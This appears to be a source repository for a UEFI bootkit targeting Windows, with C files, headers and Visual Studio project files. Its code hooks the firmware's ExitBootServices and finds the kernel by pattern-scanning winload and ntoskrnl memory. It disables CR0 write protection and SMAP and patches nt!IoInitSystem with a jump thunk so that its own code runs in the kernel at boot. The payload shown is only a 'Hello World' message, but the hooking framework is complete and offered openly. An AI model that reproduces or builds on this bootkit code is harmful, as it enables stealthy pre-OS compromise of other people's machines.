├── README.md ├── BootKit ├── drv.h ├── hook.h ├── util.h ├── hook.c ├── BootKit.vcxproj ├── drvmain.c ├── util.c └── nt.h ├── BootKit.sln ├── BootKit.default.props ├── BootKit.props └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | A simple UEFI bootkit made by [NSG650](https://github.com/NSG650) and me. 2 | 3 | Credits: 4 | https://github.com/0mWindyBug/WFPCalloutReserach/blob/15d968e93bc7bc85f23e0b7d1dededf65726d3e8/WFPDrivers/WFPEnumDriver/utils.cpp 5 | For FindExport 6 | -------------------------------------------------------------------------------- /BootKit/drv.h: -------------------------------------------------------------------------------- 1 | extern CONST UINT32 _gUefiDriverRevision = 0; 2 | CHAR8* gEfiCallerBaseName = "ShellSample"; 3 | 4 | CONST UINT8 _gDriverUnloadImageCount = 1; 5 | 6 | EFI_STATUS EFIAPI UefiUnload(IN EFI_HANDLE ImageHandle) 7 | { 8 | return EFI_SUCCESS; 9 | } -------------------------------------------------------------------------------- /BootKit/hook.h: -------------------------------------------------------------------------------- 1 | #include "util.h" 2 | #include "nt.h" 3 | 4 | extern BYTE IoInitSystem_Original[25]; 5 | extern UINT32(*IoInitSystem)(); 6 | extern VOID* gKernelBase; 7 | 8 | VOID SetupIoInitSystemHook(UINT8* _ioInitSystem, VOID* HookFunc); 9 | VOID IoInitSystemHook(); -------------------------------------------------------------------------------- /BootKit.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33213.308 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "BootKit", "BootKit\BootKit.vcxproj", "{B8CE018B-0E28-4EFB-BF39-288C275E56D3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Release|x64 = Release|x64 11 | EndGlobalSection 12 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 13 | {B8CE018B-0E28-4EFB-BF39-288C275E56D3}.Release|x64.ActiveCfg = Release|x64 14 | {B8CE018B-0E28-4EFB-BF39-288C275E56D3}.Release|x64.Build.0 = Release|x64 15 | EndGlobalSection 16 | GlobalSection(SolutionProperties) = preSolution 17 | HideSolutionNode = FALSE 18 | EndGlobalSection 19 | GlobalSection(ExtensibilityGlobals) = postSolution 20 | SolutionGuid = {ECB1D2EC-1021-4B09-A8EA-85A942CB4A7A} 21 | EndGlobalSection 22 | EndGlobal 23 | -------------------------------------------------------------------------------- /BootKit/util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "nt.h" 8 | 9 | #define CONTAINING_RECORD(address, type, field) ((type *)( \ 10 | (char*)(address) - \ 11 | (UINT64)(&((type *)0)->field))) 12 | 13 | 14 | VOID* GetLoadedModuleBase(const CHAR16* ModName); 15 | 16 | UINT32* FindExportEntry(VOID* Module, const CHAR8* RoutineName); 17 | VOID* FindExport(VOID* Module, const CHAR8* RoutineName); 18 | 19 | UINT32* FindExportEntryByOrdinal(VOID* Module, UINT16 Ordinal); 20 | VOID* FindExportByOrdinal(VOID* Module, UINT16 Ordinal); 21 | 22 | 23 | KLDR_DATA_TABLE_ENTRY* GetKernelModuleFromList(LIST_ENTRY* Head, const CHAR16* ModuleName); 24 | 25 | VOID* FindPattern(VOID* StartAddress, UINTN SearchLimit, UINT8* Pattern, UINTN PatternSize, UINT8* Mask); 26 | 27 | void Memcpy(const VOID* Destination, const VOID* Source, UINTN Length); 28 | void Overwrite(const VOID* Destination, const VOID* Source, UINTN Length); 29 | -------------------------------------------------------------------------------- /BootKit.default.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(SolutionDir)..\VisualUefi\edk2 6 | 7 | 8 | $(EDK_PATH)\MdePkg\Include;$(EDK_PATH)\MdePkg\Include\X64;$(EDK_PATH)\ShellPkg\Include;$(EDK_PATH)\CryptoPkg\Include 9 | $(SolutionDir)..\VisualUefi\EDK-II\$(Platform)\$(Configuration) 10 | 11 | 12 | Application 13 | false 14 | $(DefaultPlatformToolset) 15 | true 16 | Unicode 17 | 18 | 19 | 20 | $(EDK_PATH) 21 | true 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /BootKit/hook.c: -------------------------------------------------------------------------------- 1 | #include "hook.h" 2 | 3 | BYTE IoInitSystemOriginal[25] = { 0 }; 4 | 5 | NTSTATUS(*ZwDisplayString)( 6 | PUNICODE_STRING DisplayString 7 | ); 8 | 9 | VOID(*RtlInitUnicodeString)( 10 | PUNICODE_STRING DestinationString, 11 | PCWSTR SourceString 12 | ); 13 | 14 | extern EFI_RUNTIME_SERVICES* gRT; 15 | 16 | VOID IoInitSystemHook() 17 | { 18 | #pragma warning (push) 19 | #pragma warning (disable : 4152) 20 | ZwDisplayString = FindExport(gKernelBase, "ZwDisplayString"); 21 | RtlInitUnicodeString = FindExport(gKernelBase, "RtlInitUnicodeString"); 22 | #pragma warning (pop) 23 | 24 | UNICODE_STRING message = { 0 }; 25 | RtlInitUnicodeString(&message, L"[+] Hello World!\n"); 26 | ZwDisplayString(&message); 27 | 28 | Overwrite((VOID*)IoInitSystem, IoInitSystemOriginal, 25); 29 | return; 30 | } 31 | 32 | VOID SetupIoInitSystemHook(UINT8* IoInitSystemPtr, VOID* HookFunc) 33 | { 34 | Memcpy(&IoInitSystemOriginal, IoInitSystemPtr, 25); 35 | 36 | gRT->ConvertPointer(EFI_OPTIONAL_PTR, &HookFunc); 37 | 38 | UINT8 Patch[] = 39 | { 40 | 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, IoInitSystemPtr 41 | 0x41, 0x52, // push r10 ; Set IoInitSystemPtr as the return address 42 | 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, HookFunc 43 | 0x41, 0xFF, 0xE2, // jmp r10 44 | }; 45 | 46 | Overwrite(IoInitSystemPtr, Patch, 25); 47 | 48 | VOID* ThunkAddress = IoInitSystemPtr; 49 | gRT->ConvertPointer(EFI_OPTIONAL_PTR, &ThunkAddress); 50 | 51 | Overwrite(IoInitSystemPtr + 2, &ThunkAddress, 8); 52 | Overwrite(IoInitSystemPtr + 14, &HookFunc, 8); 53 | } 54 | -------------------------------------------------------------------------------- /BootKit/BootKit.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Release 6 | x64 7 | 8 | 9 | 10 | Win32Proj 11 | {B8CE018B-0E28-4EFB-BF39-288C275E56D3} 12 | BootKit 13 | 10.0 14 | 15 | 16 | 17 | v143 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | UefiDriverEntryPoint.lib;%(AdditionalDependencies) 26 | EFI Runtime 27 | 28 | 29 | CompileAsC 30 | false 31 | OnlyExplicitInline 32 | MaxSpeed 33 | 8Bytes 34 | stdcpp20 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | -------------------------------------------------------------------------------- /BootKit.props: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(SolutionDir)$(Platform)\$(Configuration)\obj\$(TargetName)\ 7 | $(SolutionDir)$(Platform)\$(Configuration)\ 8 | .efi 9 | 10 | 11 | ..\debugger\qemu.exe 12 | -name "VisualUEFI Debugger" -drive file=OVMF_CODE-need-smm.fd,if=pflash,format=raw,unit=0,readonly=on -drive file=OVMF_VARS-need-smm.fd,if=pflash,format=raw,unit=1 -drive file=fat:rw:..\samples\$(Platform)\$(Configuration)\,media=disk,if=virtio,format=raw -drive file=UefiShell.iso,format=raw -m 512 -machine q35,smm=on -nodefaults -vga std -global driver=cfi.pflash01,property=secure,value=on -global ICH9-LPC.disable_s3=1 13 | ..\..\debugger 14 | Script 15 | WindowsLocalDebugger 16 | 17 | 18 | 19 | true 20 | Level4 21 | true 22 | true 23 | MinSpace 24 | true 25 | true 26 | AnySuitable 27 | SyncCThrow 28 | false 29 | false 30 | true 31 | $(SolutionDir)..\VisualUefi\EDK-II\BaseLib\vshacks.h 32 | 33 | 34 | true 35 | false 36 | 37 | /Gs32768 %(AdditionalOptions) 38 | 39 | 40 | 41 | 42 | true 43 | UefiHiiLib.lib;UefiHiiServicesLib.lib;UefiSortLib.lib;UefiShellLib.lib;GlueLib.lib;BaseLib.lib;BaseDebugPrintErrorLevelLib.lib;BasePrintLib.lib;UefiLib.lib;UefiBootServicesTableLib.lib;UefiRuntimeServicesTableLib.lib;UefiDevicePathLibDevicePathProtocol.lib;UefiDebugLibConOut.lib;UefiMemoryLib.lib;UefiMemoryAllocationLib.lib;BaseSynchronizationLib.lib;UefiFileHandleLib.lib 44 | DebugFastLink 45 | EFI Boot Service Driver 46 | Driver 47 | true 48 | 49 | UseFastLinkTimeCodeGeneration 50 | 0 51 | 32 52 | false 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | /OPT:ICF=10 /IGNORE:4001 /IGNORE:4254 /IGNORE:4281 %(AdditionalOptions) 62 | .rdata=.data 63 | .xdata,D 64 | 65 | 66 | EfiMain 67 | 68 | 69 | 70 | -------------------------------------------------------------------------------- /BootKit/drvmain.c: -------------------------------------------------------------------------------- 1 | #include "nt.h" 2 | #include "hook.h" 3 | #include "drv.h" 4 | 5 | extern EFI_RUNTIME_SERVICES* gRT; 6 | extern EFI_BOOT_SERVICES* gBS; 7 | EFI_EXIT_BOOT_SERVICES gOriginalEBS; 8 | 9 | VOID* gKernelBase = NULL; 10 | VOID* WinloadReturnAddress = NULL; 11 | 12 | UINT32(*IoInitSystem)(); 13 | 14 | VOID EFIAPI NotifySetVirtualAddressMap(EFI_EVENT Event, VOID* Context) 15 | { 16 | /* 17 | winload!OslpLogOsLaunch+0x21: 18 | 00000000`0090f949 488b83f0000000 mov rax,qword ptr [rbx+0F0h] 19 | 00000000`0090f950 4c8b88c0090000 mov r9,qword ptr [rax+9C0h] 20 | 00000000`0090f957 48b877be9f1a2fdd2406 mov rax,624DD2F1A9FBE77h 21 | 00000000`0090f961 49f7e1 mul rax,r9 22 | 00000000`0090f964 488b050d241e00 mov rax,qword ptr [winload!OslLoaderBlock (00000000`00af1d78)] 23 | */ 24 | UINT8 LogSig[] = { 0x48, 0xB8, 0x77, 0xBE, 0x9F, 0x1A, 0x2F, 0xDD }; // Signature around OslpLogOsLaunch+0x21 which has the move containing the LoaderBlock 25 | UINT8 LogMsk[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; // All bytes are significant. 26 | UINT64 LogOsLaunchScanBase = (UINT64)FindPattern(WinloadReturnAddress, 0x10000, LogSig, sizeof(LogSig), LogMsk); 27 | 28 | PLOADER_PARAMETER_BLOCK LoaderBlock = *(PLOADER_PARAMETER_BLOCK*)(*(UINT32*)(LogOsLaunchScanBase + 0x10) + LogOsLaunchScanBase + 0x14); 29 | if (LoaderBlock == NULL) 30 | { 31 | Print(L"[-] LPB was null, crashing on purpose."); 32 | return; 33 | } 34 | 35 | KLDR_DATA_TABLE_ENTRY* KernelEntry = GetKernelModuleFromList(&LoaderBlock->LoadOrderListHead, L"ntoskrnl.exe"); 36 | gKernelBase = KernelEntry->ModuleBase; 37 | 38 | // Disable write protection 39 | UINT64 cr0 = AsmReadCr0(); 40 | AsmWriteCr0(cr0 & ~0x10000ull); 41 | 42 | /* 43 | nt!IoInitSystem: 44 | fffff804`7d64a6fc 4883ec28 sub rsp,28h 45 | fffff804`7d64a700 488d0541482000 lea rax,[nt!IopInitFailCode (fffff804`7d84ef48)] 46 | fffff804`7d64a707 4889442438 mov qword ptr [rsp+38h],rax 47 | fffff804`7d64a70c e83b88ffff call nt!IoInitSystemPreDrivers (fffff804`7d642f4c) 48 | fffff804`7d64a711 84c0 test al,al 49 | fffff804`7d64a713 0f8425740300 je nt!IoInitSystem+0x37442 (fffff804`7d681b3e) Branch 50 | 51 | nt!IoInitSystem+0x1d: 52 | fffff804`7d64a719 4c8b1570ee6eff mov r10,qword ptr [nt!_imp_WerLiveKernelInitSystem (fffff804`7cd39590)] 53 | fffff804`7d64a720 e8eb28a200 call werkernel!WerLiveKernelInitSystemExt (fffff804`7e06d010) 54 | fffff804`7d64a725 e822b50000 call nt!IopInitializeSystemDrivers (fffff804`7d655c4c) 55 | fffff804`7d64a72a 85c0 test eax,eax 56 | fffff804`7d64a72c 0f8413740300 je nt!IoInitSystem+0x37449 (fffff804`7d681b45) 57 | */ 58 | 59 | UINT8 IoInitSysSig[] = { 0x48, 0x83, 0xEC, 0x28, 0x48, 0x8D, 0x05, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x84, 0xC0, 0x0F, 0x84 }; // Start of IoInitSystem in ntoskrnl.exe 60 | UINT8 IoInitSysMsk[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00 }; 61 | UINT8* IoInitSysScanBase = (UINT8*)FindPattern(gKernelBase, 0x1000000, IoInitSysSig, sizeof(IoInitSysSig), IoInitSysMsk) + 0x29; 62 | 63 | IoInitSystem = (UINT32(*)(UINT64, UINT64, UINT64, UINT64))(IoInitSysScanBase); 64 | SetupIoInitSystemHook((UINT8*)IoInitSystem, (VOID*)IoInitSystemHook); 65 | 66 | AsmWriteCr0(cr0); 67 | return; 68 | } 69 | 70 | 71 | EFI_STATUS EFIAPI ExitBootServicesHook(IN EFI_HANDLE ImageHandle, IN UINTN MapKey) 72 | { 73 | Print(L"[*] EBS hook triggered, gathering Winload return address\n"); 74 | 75 | gBS->ExitBootServices = gOriginalEBS; 76 | Print(L"[*] Handing back control to unmodified EBS @ 0x%lx\n", gOriginalEBS); 77 | 78 | WinloadReturnAddress = _ReturnAddress(); 79 | Print(L"[+] Found Winload return address: 0x%lx\n", WinloadReturnAddress); 80 | 81 | Print(L"\n[*] We are now waiting for the virtual address space. See ya in the kernel!\n"); 82 | return gOriginalEBS(ImageHandle, MapKey); 83 | } 84 | 85 | 86 | EFI_STATUS EFIAPI UefiMain(IN EFI_HANDLE ImageHandle, IN EFI_SYSTEM_TABLE* SystemTable) 87 | { 88 | Print(L"[*] Hello, world!\n"); 89 | Print(L"[*] Our handle is 0x%lx\n", ImageHandle); 90 | Print(L"[*] System table: 0x%lx\n", SystemTable); 91 | 92 | gOriginalEBS = gBS->ExitBootServices; 93 | 94 | // Disable write protection 95 | UINT64 cr0 = AsmReadCr0(); 96 | AsmWriteCr0(cr0 & ~0x10000ull); 97 | 98 | gBS->ExitBootServices = ExitBootServicesHook; 99 | Print(L"[+] ExitBootServices hook installed: 0x%lx\n", gBS->ExitBootServices); 100 | 101 | AsmWriteCr0(cr0); 102 | 103 | EFI_EVENT addressSpaceEvent = { 0 }; 104 | Print(L"[*] Subscribing to EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE\n"); 105 | return gBS->CreateEvent(EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &addressSpaceEvent); 106 | } 107 | -------------------------------------------------------------------------------- /BootKit/util.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "util.h" 3 | #include "nt.h" 4 | 5 | UINT64 AsciiToInt(CHAR8* ascii) 6 | { 7 | UINT64 retInt = 0; 8 | while (*ascii) 9 | { 10 | if (*ascii <= '0' || *ascii >= '9') 11 | return 0; 12 | retInt *= 10; 13 | retInt += *ascii - '0'; 14 | ascii++; 15 | } 16 | return retInt; 17 | } 18 | 19 | CHAR16 WideCharToLower(CHAR16 c) 20 | { 21 | if (c >= 'A' && c <= 'Z') return c += ('a' - 'A'); 22 | else return c; 23 | } 24 | 25 | INTN WCSNICMP(const CHAR16* First, const CHAR16* Second, UINTN Length) 26 | { 27 | for (int i = 0; i < Length && First[i] && Second[i]; ++i) 28 | if (WideCharToLower(First[i]) != WideCharToLower(Second[i])) 29 | return First[i] - Second[i]; 30 | 31 | return 0; 32 | } 33 | 34 | 35 | UINT32* FindExportEntry(VOID* Module, const CHAR8* RoutineName) 36 | { 37 | PIMAGE_DOS_HEADER dos = Module; 38 | if (dos->e_magic != 0x5A4D) 39 | return NULL; 40 | 41 | PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS)((UINT8*)Module + dos->e_lfanew); 42 | UINT32 exportsRVA = nt->OptionalHeader.DataDirectory[0].VirtualAddress; 43 | if (!exportsRVA) 44 | return NULL; 45 | 46 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((UINT8*)Module + exportsRVA); 47 | UINT32* nameTable = (UINT32*)((UINT8*)Module + exportDirectory->AddressOfNames); 48 | 49 | 50 | for (int lower = 0, upper = exportDirectory->NumberOfNames - 1; upper >= lower;) 51 | { 52 | int i = (upper + lower) / 2; 53 | const CHAR8* funcName = (CHAR8*)((UINT8*)Module + nameTable[i]); 54 | INTN diff = AsciiStrCmp(RoutineName, funcName); 55 | if (diff > 0) 56 | lower = i + 1; 57 | else if (diff < 0) 58 | upper = i - 1; 59 | else 60 | { 61 | UINT32* exportFuncTable = (UINT32*)((UINT8*)Module + exportDirectory->AddressOfFunctions); 62 | UINT16* ordinalTable = (UINT16*)((UINT8*)Module + exportDirectory->AddressOfNameOrdinals); 63 | 64 | UINT16 index = ordinalTable[i]; 65 | if (exportFuncTable[index] < nt->OptionalHeader.DataDirectory[0].VirtualAddress || 66 | exportFuncTable[index] > nt->OptionalHeader.DataDirectory[0].VirtualAddress + nt->OptionalHeader.DataDirectory[0].Size) 67 | return exportFuncTable + index; 68 | else 69 | { 70 | CHAR16 buffer[260]; 71 | CHAR8* forwarderRVAString = (CHAR8*)Module + exportFuncTable[index]; 72 | UINT16 dllNameLen; 73 | for (dllNameLen = 0; dllNameLen < 259; ++dllNameLen) 74 | if (forwarderRVAString[dllNameLen] == '.') break; 75 | for (int j = 0; j < dllNameLen; ++j) 76 | buffer[j] = (CHAR16)forwarderRVAString[j]; 77 | buffer[dllNameLen] = L'\0'; 78 | if (forwarderRVAString[dllNameLen + 1] == '#') 79 | return FindExportEntryByOrdinal(GetLoadedModuleBase(buffer), (UINT16)AsciiToInt(&forwarderRVAString[dllNameLen + 2])); 80 | else 81 | return FindExportEntry(GetLoadedModuleBase(buffer), forwarderRVAString + dllNameLen + 1); 82 | } 83 | } 84 | } 85 | return NULL; 86 | } 87 | 88 | UINT32* FindExportEntryByOrdinal(VOID* Module, UINT16 Ordinal) 89 | { 90 | PIMAGE_DOS_HEADER dos = Module; 91 | if (dos->e_magic != 0x5A4D) 92 | return NULL; 93 | 94 | PIMAGE_NT_HEADERS64 nt = (PIMAGE_NT_HEADERS)((UINT8*)Module + dos->e_lfanew); 95 | UINT32 exportsRVA = nt->OptionalHeader.DataDirectory[0].VirtualAddress; 96 | if (!exportsRVA) 97 | return NULL; 98 | 99 | PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((UINT8*)Module + exportsRVA); 100 | UINT16 index = Ordinal - (UINT16)exportDirectory->Base; 101 | 102 | UINT32* exportFuncTable = (UINT32*)((UINT8*)Module + exportDirectory->AddressOfFunctions); 103 | if (exportFuncTable[index] < nt->OptionalHeader.DataDirectory[0].VirtualAddress || 104 | exportFuncTable[index] > nt->OptionalHeader.DataDirectory[0].VirtualAddress + nt->OptionalHeader.DataDirectory[0].Size) 105 | return exportFuncTable + index; 106 | else 107 | { 108 | CHAR16 buffer[260]; 109 | CHAR8* forwarderRVAString = (CHAR8*)Module + exportFuncTable[index]; 110 | UINT16 dllNameLen; 111 | for (dllNameLen = 0; dllNameLen < 259; ++dllNameLen) 112 | if (forwarderRVAString[dllNameLen] == '.') break; 113 | for (int i = 0; i < dllNameLen; ++i) 114 | buffer[i] = (CHAR16)forwarderRVAString[i]; 115 | buffer[dllNameLen] = L'\0'; 116 | if (forwarderRVAString[dllNameLen + 1] == '#') 117 | return FindExportEntryByOrdinal(GetLoadedModuleBase(buffer), (UINT16)AsciiToInt(&forwarderRVAString[dllNameLen + 2])); 118 | else 119 | return FindExportEntry(GetLoadedModuleBase(buffer), forwarderRVAString + dllNameLen + 1); 120 | } 121 | } 122 | 123 | VOID* FindExport(VOID* Module, const CHAR8* RoutineName) 124 | { 125 | UINT32* entry = FindExportEntry(Module, RoutineName); 126 | if (!entry) 127 | return NULL; 128 | return (VOID*)((UINT8*)Module + *entry); 129 | } 130 | 131 | VOID* FindExportByOrdinal(VOID* Module, UINT16 Ordinal) 132 | { 133 | UINT32* entry = FindExportEntryByOrdinal(Module, Ordinal); 134 | if (!entry) 135 | return NULL; 136 | return (VOID*)((UINT8*)Module + *entry); 137 | } 138 | 139 | 140 | extern VOID* gKernelBase; 141 | VOID* GetLoadedModuleBase(const CHAR16* ModName) 142 | { 143 | static LIST_ENTRY* PsLoadedModuleList; 144 | if (!PsLoadedModuleList) 145 | PsLoadedModuleList = FindExport(gKernelBase, "PsLoadedModuleList"); 146 | 147 | KLDR_DATA_TABLE_ENTRY* module = GetKernelModuleFromList(PsLoadedModuleList, ModName); 148 | if (!module) 149 | return NULL; 150 | return module->ModuleBase; 151 | } 152 | 153 | VOID* FindPattern(VOID* StartAddress, UINTN SearchLimit, UINT8* Pattern, UINTN PatternSize, UINT8* Mask) { 154 | UINT8* CurrentAddress = (UINT8*)StartAddress; 155 | UINT8* EndAddress = CurrentAddress + SearchLimit; 156 | 157 | for (UINTN i = 0; CurrentAddress + i + PatternSize <= EndAddress; i++) 158 | { 159 | BOOLEAN Match = TRUE; 160 | for (UINTN j = 0; j < PatternSize; j++) 161 | { 162 | if (Mask[j] == 0x00 && CurrentAddress[i + j] != Pattern[j]) 163 | { 164 | Match = FALSE; 165 | break; 166 | } 167 | } 168 | 169 | if (Match) return (VOID*)(CurrentAddress + i); 170 | } 171 | 172 | return NULL; 173 | } 174 | 175 | 176 | // Thanks NSG 177 | KLDR_DATA_TABLE_ENTRY* GetKernelModuleFromList(LIST_ENTRY* Head, const CHAR16* ModuleName) 178 | { 179 | for (LIST_ENTRY* it = Head->ForwardLink; it && it != Head; it = it->ForwardLink) 180 | { 181 | KLDR_DATA_TABLE_ENTRY* entry = CONTAINING_RECORD(it, KLDR_DATA_TABLE_ENTRY, InLoadOrderLinks); 182 | if (!WCSNICMP(entry->BaseModuleName.Buffer, ModuleName, entry->BaseModuleName.Length)) 183 | { 184 | return entry; 185 | } 186 | } 187 | return NULL; 188 | } 189 | 190 | #pragma warning (push) 191 | #pragma warning (disable : 4090) 192 | void Memcpy(const VOID* Destination, const VOID* Source, UINTN Length) 193 | { 194 | __movsb(Destination, Source, Length); 195 | } 196 | #pragma warning (pop) 197 | 198 | void Overwrite(const VOID* Destination, const VOID* Source, UINTN Length) 199 | { 200 | UINT64 interruptsEnabled = __readeflags() & 0x200; 201 | if (interruptsEnabled) 202 | _disable(); 203 | UINT64 cr4 = __readcr4(); 204 | __writecr4(cr4 & ~0x800000ull); 205 | UINT64 cr0 = __readcr0(); 206 | __writecr0(cr0 & ~0x10000ull); 207 | 208 | Memcpy(Destination, Source, Length); 209 | 210 | __writecr0(cr0); 211 | __writecr4(cr4); 212 | if (interruptsEnabled) 213 | _enable(); 214 | } 215 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | # but not Directory.Build.rsp, as it configures directory-level build defaults 86 | !Directory.Build.rsp 87 | *.sbr 88 | *.tlb 89 | *.tli 90 | *.tlh 91 | *.tmp 92 | *.tmp_proj 93 | *_wpftmp.csproj 94 | *.log 95 | *.tlog 96 | *.vspscc 97 | *.vssscc 98 | .builds 99 | *.pidb 100 | *.svclog 101 | *.scc 102 | 103 | # Chutzpah Test files 104 | _Chutzpah* 105 | 106 | # Visual C++ cache files 107 | ipch/ 108 | *.aps 109 | *.ncb 110 | *.opendb 111 | *.opensdf 112 | *.sdf 113 | *.cachefile 114 | *.VC.db 115 | *.VC.VC.opendb 116 | 117 | # Visual Studio profiler 118 | *.psess 119 | *.vsp 120 | *.vspx 121 | *.sap 122 | 123 | # Visual Studio Trace Files 124 | *.e2e 125 | 126 | # TFS 2012 Local Workspace 127 | $tf/ 128 | 129 | # Guidance Automation Toolkit 130 | *.gpState 131 | 132 | # ReSharper is a .NET coding add-in 133 | _ReSharper*/ 134 | *.[Rr]e[Ss]harper 135 | *.DotSettings.user 136 | 137 | # TeamCity is a build add-in 138 | _TeamCity* 139 | 140 | # DotCover is a Code Coverage Tool 141 | *.dotCover 142 | 143 | # AxoCover is a Code Coverage Tool 144 | .axoCover/* 145 | !.axoCover/settings.json 146 | 147 | # Coverlet is a free, cross platform Code Coverage Tool 148 | coverage*.json 149 | coverage*.xml 150 | coverage*.info 151 | 152 | # Visual Studio code coverage results 153 | *.coverage 154 | *.coveragexml 155 | 156 | # NCrunch 157 | _NCrunch_* 158 | .*crunch*.local.xml 159 | nCrunchTemp_* 160 | 161 | # MightyMoose 162 | *.mm.* 163 | AutoTest.Net/ 164 | 165 | # Web workbench (sass) 166 | .sass-cache/ 167 | 168 | # Installshield output folder 169 | [Ee]xpress/ 170 | 171 | # DocProject is a documentation generator add-in 172 | DocProject/buildhelp/ 173 | DocProject/Help/*.HxT 174 | DocProject/Help/*.HxC 175 | DocProject/Help/*.hhc 176 | DocProject/Help/*.hhk 177 | DocProject/Help/*.hhp 178 | DocProject/Help/Html2 179 | DocProject/Help/html 180 | 181 | # Click-Once directory 182 | publish/ 183 | 184 | # Publish Web Output 185 | *.[Pp]ublish.xml 186 | *.azurePubxml 187 | # Note: Comment the next line if you want to checkin your web deploy settings, 188 | # but database connection strings (with potential passwords) will be unencrypted 189 | *.pubxml 190 | *.publishproj 191 | 192 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 193 | # checkin your Azure Web App publish settings, but sensitive information contained 194 | # in these scripts will be unencrypted 195 | PublishScripts/ 196 | 197 | # NuGet Packages 198 | *.nupkg 199 | # NuGet Symbol Packages 200 | *.snupkg 201 | # The packages folder can be ignored because of Package Restore 202 | **/[Pp]ackages/* 203 | # except build/, which is used as an MSBuild target. 204 | !**/[Pp]ackages/build/ 205 | # Uncomment if necessary however generally it will be regenerated when needed 206 | #!**/[Pp]ackages/repositories.config 207 | # NuGet v3's project.json files produces more ignorable files 208 | *.nuget.props 209 | *.nuget.targets 210 | 211 | # Microsoft Azure Build Output 212 | csx/ 213 | *.build.csdef 214 | 215 | # Microsoft Azure Emulator 216 | ecf/ 217 | rcf/ 218 | 219 | # Windows Store app package directories and files 220 | AppPackages/ 221 | BundleArtifacts/ 222 | Package.StoreAssociation.xml 223 | _pkginfo.txt 224 | *.appx 225 | *.appxbundle 226 | *.appxupload 227 | 228 | # Visual Studio cache files 229 | # files ending in .cache can be ignored 230 | *.[Cc]ache 231 | # but keep track of directories ending in .cache 232 | !?*.[Cc]ache/ 233 | 234 | # Others 235 | ClientBin/ 236 | ~$* 237 | *~ 238 | *.dbmdl 239 | *.dbproj.schemaview 240 | *.jfm 241 | *.pfx 242 | *.publishsettings 243 | orleans.codegen.cs 244 | 245 | # Including strong name files can present a security risk 246 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 247 | #*.snk 248 | 249 | # Since there are multiple workflows, uncomment next line to ignore bower_components 250 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 251 | #bower_components/ 252 | 253 | # RIA/Silverlight projects 254 | 